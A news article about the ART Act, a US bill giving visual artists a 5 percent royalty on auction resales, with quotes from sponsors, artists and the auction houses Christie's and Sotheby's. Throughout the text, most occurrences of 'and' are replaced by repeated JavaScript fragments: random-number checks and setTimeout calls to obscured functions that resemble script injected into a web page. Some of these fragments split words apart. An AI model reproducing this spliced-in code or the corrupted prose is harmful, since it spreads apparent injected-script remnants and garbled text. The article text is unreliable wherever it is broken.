By: W.A. Demers

WASHINGTON, D.C. — US Senators Edward J. Markey (D-Mass.) andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Tammy Baldwin (D-Wis.) andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Congressman Jerrold Nadler (D-N.Y.) introduced legislation on February 26 that they contend would level the playing field for visual artists in the United States by establishing copyright protections for their intellectual property.

“Our visual artists are critical cultural contributors, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the ART Act ensures they are fairly compensated for their work,” said Markey in a press release issued by his office. “Their creativity is a currency that should be properly valued. The ART Act also brings the United States in line with over 70 other countries, so that American artists can receive royalties when their works are sold overseas.”

ART is an acronym for American Royalties Too. It calls for artists to receive a flat 5 percent of the resale price for works sold at auction for more than $5,000.

Auction houses, among others, have generally been opposed to resale royalties, which they contend is tantamount to an added tax. In addition to raising the cost of doing business, they believe it would chill the existing market for art at auction. Already hurt by the need to provide price guarantees to attract high value consignments, they view the royalties as a further disincentive for prospective sellers who now may be more apt to make private deals rather than going to auction. Galleries andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and private dealers would not have to pay the levy.

In addition to the flat 5 percent royalty mentioned above, the ART Act states that the resale royalty applies to any auction where the entity conducting the auction has sold at least $1 million of visual art during the previous year; royalties are collected by visual artists’ copyright collecting societies who must distribute the royalties to the artists or their heirs at least four times per year; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and allows US artists to collect resale royalties when their works are sold at auction in the EU andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than 70 other countries.

In Markey’s release, Frank Stella, an American artist who received the National Medal of Arts by US President Barack Obama in 2009, was quoted as saying, “Visual artists are the only members of the creative community in the United States who do not receive residual payments for their works. Composers, lyricists, actors, playwrights, screenwriters, all deservedly receive royalties for the later productions, performances or sales of their works. Unfortunately, visual artists in the United States do not earn a penny in residual or resale payments. The benefits derived from the appreciation in the later sale of their works accrue entirely to the collectors, auction houses andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and galleries. The adoption of the droit de suite in my country is therefore long overdue.”

Dr Theodore Feder is president of the Artist’s Rights Society based in New York City. He said, “The resale right for visual artists is in effect in more than 70 countries worldwide, including all the European Union member states. American artists receive none of these benefits, neither within their own country, nor abroad where it is only granted to the nationals of countries which honor the right on a reciprocal basis. The total US auction sales for last year exceeded $17 billion, which accrued to the benefit of the auction houses, speculators andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collectors. It is only fair that artists, many of whom earned little or nothing in their lifetimes, should benefit in some small measure from the later sales of their works. It is important to note that the present bill caps the remuneration to artists at $35,000, regardless of whether the item sold in the millions. It is therefore striking that, given the cap, it should have galvanized to opposition of the auction houses.”

The act would get further scrutiny by the US Copyright Office after five years, according to its sponsors, to determine the effects of the resale royalty on the art market andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and whether it should be expandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anded to cover works sold by dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other art market professionals.

A Christie’s spokesperson said, “Support for artists is a worthy goal andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Christie’s is clearly a key supporter of artists andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and their continuing careers. However, the ART bill as revised still does not resolve a fundamental flaw in the bill’s concept. European studies have shown that resale royalty schemes provide support to less than 5 percent of working artists, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the artists receiving royalties tend to be those commandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding the highest prices in the primary market.

“In addition, the current bill carries over a central inequity of the 2011 version. Rather than seek royalties from every part of the art market, including galleries, dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other professionals, the bill narrowly targets only those companies who conduct auction sales.

“Together, these shortcomings prevent Christie’s from offering its support to the bill.”

Sotheby’s spokesman Dan Abernethy said, “Sotheby’s continues to fully study the implications of Representative Nadler’s revised resale royalty bill. The company shares the congressman’s goals of encouraging andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and supporting artists, but we agree with the Copyright Office when it concluded that ‘in light of the potentially limited benefits’ of a resale royalty right, ‘Congress should approach this issue with some caution’ because there ‘may be other ways. . .some of which may be more effective’ to benefit artists.”